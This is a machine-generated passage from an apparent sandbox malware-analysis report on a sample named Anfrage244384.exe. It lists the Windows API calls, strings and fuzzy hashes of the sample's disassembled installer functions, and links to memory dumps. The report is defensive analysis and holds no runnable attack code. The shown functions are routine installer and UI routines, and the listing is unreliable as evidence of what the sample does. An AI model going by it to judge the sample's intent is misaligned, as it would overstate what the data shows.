                                                        • GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405BCD
                                                        • lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405C05
                                                        • SetFilePointer.KERNEL32(0040A3B0,00000000,00000000,00000000,00000000,0042C1F8,00000000,-0000000A,0040A3B0,00000000,[Rename],00000000,00000000,00000000), ref: 00405C5B
                                                        • GlobalFree.KERNEL32(00000000), ref: 00405C6C
                                                        • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405C73
                                                          • Part of subcall function 00405A36: GetFileAttributesA.KERNELBASE(00000003,00402D3A,C:\Users\user\Desktop\Anfrage244384.exe,80000000,00000003), ref: 00405A3A
                                                          • Part of subcall function 00405A36: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405A5C
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
                                                        • String ID: %s=%s$NUL$[Rename]
                                                        • API String ID: 222337774-4148678300
                                                        • Opcode ID: 5ce72f1d5662fdfb16fbdc716e83a23565de7620f696fffa2ec6c38a8c937bd1
                                                        • Instruction ID: 6293277805e4fd93310031222b01184603883beffbc8e30d5776d07611dc3463
                                                        • Opcode Fuzzy Hash: 5ce72f1d5662fdfb16fbdc716e83a23565de7620f696fffa2ec6c38a8c937bd1
                                                        • Instruction Fuzzy Hash: 0D310171204B19BBE2206B255E89F6B3A5CDF42758F14013AFE41F22D2DA7C9C058EAD
                                                        Function 0040602E Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Anfrage244384.exe",75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00406086
                                                        • CharNextA.USER32(?,?,?,00000000), ref: 00406093
                                                        • CharNextA.USER32(?,"C:\Users\user\Desktop\Anfrage244384.exe",75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00406098
                                                        • CharPrevA.USER32(?,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 004060A8
                                                        Strings
                                                        • *?|<>/":, xrefs: 00406076
                                                        • C:\Users\user\AppData\Local\Temp\, xrefs: 0040602F
                                                        • "C:\Users\user\Desktop\Anfrage244384.exe", xrefs: 0040606A
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Char$Next$Prev
                                                        • String ID: "C:\Users\user\Desktop\Anfrage244384.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
                                                        • API String ID: 589700163-3661610334
                                                        • Opcode ID: c65cd21f9bebafd0fa0734b05f9293669e0a6699517ac04d9452259f54362241
                                                        • Instruction ID: 6dd00fd98cdd52380b6000705bfe1b2e5a3199cd407f9fb4c243556cad1baf37
                                                        • Opcode Fuzzy Hash: c65cd21f9bebafd0fa0734b05f9293669e0a6699517ac04d9452259f54362241
                                                        • Instruction Fuzzy Hash: E81104A28847952DEB3296344C44B776F894F967A0F19007BE8C6722C3CA7C5CA2836D
                                                        Function 0040400F Relevance: 12.1, APIs: 8, Instructions: 61COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetWindowLongA.USER32(?,000000EB), ref: 0040402C
                                                        • GetSysColor.USER32(00000000), ref: 00404048
                                                        • SetTextColor.GDI32(?,00000000), ref: 00404054
                                                        • SetBkMode.GDI32(?,?), ref: 00404060
                                                        • GetSysColor.USER32(?), ref: 00404073
                                                        • SetBkColor.GDI32(?,?), ref: 00404083
                                                        • DeleteObject.GDI32(?), ref: 0040409D
                                                        • CreateBrushIndirect.GDI32(?), ref: 004040A7
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
                                                        • String ID:
                                                        • API String ID: 2320649405-0
                                                        • Opcode ID: ae3d8a9df92c775f8f54e71e017c7c1ec6869770dfd215418e325c2b67ca61e7
                                                        • Instruction ID: 4b93f18e3972f6c94df15fd0826ae0e2c8d28fcec101fb7672849d56c603d5ef
                                                        • Opcode Fuzzy Hash: ae3d8a9df92c775f8f54e71e017c7c1ec6869770dfd215418e325c2b67ca61e7
                                                        • Instruction Fuzzy Hash: 792124B1500744ABCB319F78DD48B5BBBF8AF41714B04892DEA96F22A0D734D944CB55
                                                        Function 100021FA Relevance: 10.6, APIs: 7, Instructions: 139memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GlobalFree.KERNEL32(00000000), ref: 1000234A
                                                          • Part of subcall function 10001224: lstrcpynA.KERNEL32(00000000,?,100012CF,-1000404B,100011AB,-000000A0), ref: 10001234
                                                        • GlobalAlloc.KERNEL32(00000040,?), ref: 100022C3
                                                        • MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 100022D8
                                                        • GlobalAlloc.KERNEL32(00000040,00000010), ref: 100022E7
                                                        • CLSIDFromString.OLE32(00000000,00000000), ref: 100022F4
                                                        • GlobalFree.KERNEL32(00000000), ref: 100022FB
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2351315276.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                        • Associated: 00000000.00000002.2351297132.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.2351332202.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.2351350506.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_10000000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
                                                        • String ID:
                                                        • API String ID: 3730416702-0
                                                        • Opcode ID: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
                                                        • Instruction ID: bfa8c22ebd78897ea4dc14f883c746723b208fa17a75ef0c69fbb79ff87ab60c
                                                        • Opcode Fuzzy Hash: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
                                                        • Instruction Fuzzy Hash: B541ABB1108311EFF320DFA48884B5BB7F8FF443D1F218529F946D61A9DB34AA448B61
                                                        Function 100023DA Relevance: 10.6, APIs: 7, Instructions: 111COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 10001215: GlobalAlloc.KERNEL32(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D
                                                        • GlobalFree.KERNEL32(?), ref: 100024B5
                                                        • GlobalFree.KERNEL32(00000000), ref: 100024EF
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2351315276.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                        • Associated: 00000000.00000002.2351297132.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.2351332202.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.2351350506.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_10000000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Global$Free$Alloc
                                                        • String ID:
                                                        • API String ID: 1780285237-0
                                                        • Opcode ID: 8ed12168559ed504bf2d16f5614b25cf9b7800a5843296302d7a865f42518c80
                                                        • Instruction ID: 4e6b36a645f71e2aed4a85f2c36ff1861f2741140ba068ae73f9b0a79c1593cf
                                                        • Opcode Fuzzy Hash: 8ed12168559ed504bf2d16f5614b25cf9b7800a5843296302d7a865f42518c80
                                                        • Instruction Fuzzy Hash: EA319CB1504250EFF322CF64CCC4C6B7BBDEB852D4B124529FA4193168CB31AC94DB62
                                                        Function 00404FDC Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • lstrlenA.KERNEL32(0042A048,00000000,0041C020,759223A0,?,?,?,?,?,?,?,?,?,0040308E,00000000,?), ref: 00405015
                                                        • lstrlenA.KERNEL32(0040308E,0042A048,00000000,0041C020,759223A0,?,?,?,?,?,?,?,?,?,0040308E,00000000), ref: 00405025
                                                        • lstrcatA.KERNEL32(0042A048,0040308E,0040308E,0042A048,00000000,0041C020,759223A0), ref: 00405038
                                                        • SetWindowTextA.USER32(0042A048,0042A048), ref: 0040504A
                                                        • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405070
                                                        • SendMessageA.USER32(?,00001007,00000000,00000001), ref: 0040508A
                                                        • SendMessageA.USER32(?,00001013,?,00000000), ref: 00405098
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$lstrlen$TextWindowlstrcat
                                                        • String ID:
                                                        • API String ID: 2531174081-0
                                                        • Opcode ID: 3b2410e8308c6412343eb032780aba43e390b926bae686ddbb8ef07075a9bc68
                                                        • Instruction ID: 94b0b073a5ce97ddacba51ea26bc878ee4e16423412cd9a98c67571b7997b3ab
                                                        • Opcode Fuzzy Hash: 3b2410e8308c6412343eb032780aba43e390b926bae686ddbb8ef07075a9bc68
                                                        • Instruction Fuzzy Hash: D5219D71900518BBDF119FA5CD84ADFBFA9EF04354F14807AF944B6291C6398E40CFA8
                                                        Function 004048A7 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 004048C2
                                                        • GetMessagePos.USER32 ref: 004048CA
                                                        • ScreenToClient.USER32(?,?), ref: 004048E4
                                                        • SendMessageA.USER32(?,00001111,00000000,?), ref: 004048F6
                                                        • SendMessageA.USER32(?,0000110C,00000000,?), ref: 0040491C
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Message$Send$ClientScreen
                                                        • String ID: f
                                                        • API String ID: 41195575-1993550816
                                                        • Opcode ID: 33c806690141bddee9d4868c528a06b643bfd418e36cfd9cd505f5ef0f9636f7
                                                        • Instruction ID: b60015b5b4e1efc5408348c5136693cdb789d2fb79533d825e55e5a5312c0c55
                                                        • Opcode Fuzzy Hash: 33c806690141bddee9d4868c528a06b643bfd418e36cfd9cd505f5ef0f9636f7
                                                        • Instruction Fuzzy Hash: CE015EB590021DBAEB00DBA4DD85BFFBBBCAF55711F10412BBA50B61C0C7B499018BA4
                                                        Function 00401D95 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetDC.USER32(?), ref: 00401D98
                                                        • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DB2
                                                        • MulDiv.KERNEL32(00000000,00000000), ref: 00401DBA
                                                        • ReleaseDC.USER32(?,00000000), ref: 00401DCB
                                                        • CreateFontIndirectA.GDI32(0040B818), ref: 00401E1A
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: CapsCreateDeviceFontIndirectRelease
                                                        • String ID: Tahoma
                                                        • API String ID: 3808545654-3580928618
                                                        • Opcode ID: 4a9721664201bd5593a8fcbda807d16f2860009d8a73813414fafdd84ed437a3
                                                        • Instruction ID: 1358c95a7d37f972e16a3fa2afb190f01721c65bbfaef5fc63903db35bf40af4
                                                        • Opcode Fuzzy Hash: 4a9721664201bd5593a8fcbda807d16f2860009d8a73813414fafdd84ed437a3
                                                        • Instruction Fuzzy Hash: DD015272544240AFE7006B74AE4A7A93FF8DB59315F10843AF141B62F2CB7900458FAD
                                                        Function 00402C13 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C2E
                                                        • MulDiv.KERNEL32(0012B433,00000064,0012D8F8), ref: 00402C59
                                                        • wsprintfA.USER32 ref: 00402C69
                                                        • SetWindowTextA.USER32(?,?), ref: 00402C79
                                                        • SetDlgItemTextA.USER32(?,00000406,?), ref: 00402C8B
                                                        Strings
                                                        • verifying installer: %d%%, xrefs: 00402C63
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Text$ItemTimerWindowwsprintf
                                                        • String ID: verifying installer: %d%%
                                                        • API String ID: 1451636040-82062127
                                                        • Opcode ID: bfb410b3b6209971c20e4d2875b6fc85698dfbb326aa5bfda2d4b594da7e2ec0
                                                        • Instruction ID: 7317fb9631212961ca73b33fff5b89fd9836da26efc2a3b2e30b0290716cf4a9
                                                        • Opcode Fuzzy Hash: bfb410b3b6209971c20e4d2875b6fc85698dfbb326aa5bfda2d4b594da7e2ec0
                                                        • Instruction Fuzzy Hash: 0E01627060020CFBEF209F60DE09EEE37A9EB04304F008039FA06A51D0DBB899518F58
                                                        Function 00402749 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040279D
                                                        • GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 004027B9
                                                        • GlobalFree.KERNEL32(?), ref: 004027F2
                                                        • GlobalFree.KERNEL32(00000000), ref: 00402805
                                                        • CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 0040281D
                                                        • DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 00402831
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: Global$AllocFree$CloseDeleteFileHandle
                                                        • String ID:
                                                        • API String ID: 2667972263-0
                                                        • Opcode ID: 45c976d1f9efa3b673be8bfb29733d3aa1598ede0f13eddfd8cf1085deaf7a0d
                                                        • Instruction ID: 571a6d001cc63de597daa7fe39824babb5321d0f4a9ee8e37ed24c69abe451e8
                                                        • Opcode Fuzzy Hash: 45c976d1f9efa3b673be8bfb29733d3aa1598ede0f13eddfd8cf1085deaf7a0d
                                                        • Instruction Fuzzy Hash: 62219C71800128BBCF217FA5CE89D9E7A79EF09324F14423AF551762E1CA794941DFA8
                                                        Function 1000180D Relevance: 7.7, APIs: 5, Instructions: 189COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2351315276.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                        • Associated: 00000000.00000002.2351297132.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.2351332202.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.2351350506.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_10000000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: FreeGlobal
                                                        • String ID:
                                                        • API String ID: 2979337801-0
                                                        • Opcode ID: 83a27a6a764e204457f331ddef67b06d43c1ca0f526d792f63dc3af4834dec0e
                                                        • Instruction ID: adaf369aa6dab84e94bee76403d526b7d43184adb12fe210256c1aedb67fe499
                                                        • Opcode Fuzzy Hash: 83a27a6a764e204457f331ddef67b06d43c1ca0f526d792f63dc3af4834dec0e
                                                        • Instruction Fuzzy Hash: 43512536D04159AEFB55DFB488A4AEEBBF6EF453C0F124169E841B315DCA306E4087D2
                                                        Function 00401D3B Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetDlgItem.USER32(?), ref: 00401D3F
                                                        • GetClientRect.USER32(00000000,?), ref: 00401D4C
                                                        • LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401D6D
                                                        • SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D7B
                                                        • DeleteObject.GDI32(00000000), ref: 00401D8A
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: ClientDeleteImageItemLoadMessageObjectRectSend
                                                        • String ID:
                                                        • API String ID: 1849352358-0
                                                        • Opcode ID: b9866fc206b3e1f2001e4087a8a8d6ef2e3fb8e7fd47bad3a68fd0200ce6cc51
                                                        • Instruction ID: 59b50efb9a894631b7e7ef6fc31e4c4877b28631b56f020e773a3ce1da8bb2e7
                                                        • Opcode Fuzzy Hash: b9866fc206b3e1f2001e4087a8a8d6ef2e3fb8e7fd47bad3a68fd0200ce6cc51
                                                        • Instruction Fuzzy Hash: 6EF0FFB2600519BFD700EBA4DF88DAFB7BCEB44301B10447AF641F2191CA749D018B38
                                                        Function 00401C04 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C74
                                                        • SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C8C
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$Timeout
                                                        • String ID: !
                                                        • API String ID: 1777923405-2657877971
                                                        • Opcode ID: 028af5dbbf2e27154293e1be7a1693a126019fa8c38554a83be992bc88fc6b23
                                                        • Instruction ID: c229e225b91697c78ff11bbf30ef832f008d48f992f947ceaaf7a44b37239d7f
                                                        • Opcode Fuzzy Hash: 028af5dbbf2e27154293e1be7a1693a126019fa8c38554a83be992bc88fc6b23
                                                        • Instruction Fuzzy Hash: E921A271A44208BEEB15EFA4DA46AED7FB1EF84314F24403EF101B61D1DA788640DB28
                                                        Function 0040479D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • lstrlenA.KERNEL32(0042A868,0042A868,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004046B8,000000DF,00000000,00000400,?), ref: 0040483B
                                                        • wsprintfA.USER32 ref: 00404843
                                                        • SetDlgItemTextA.USER32(?,0042A868), ref: 00404856
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.2333031574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.2333007775.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333053202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333068484.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.2333153454.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: ItemTextlstrlenwsprintf
                                                        • String ID: %u.%u%s%s
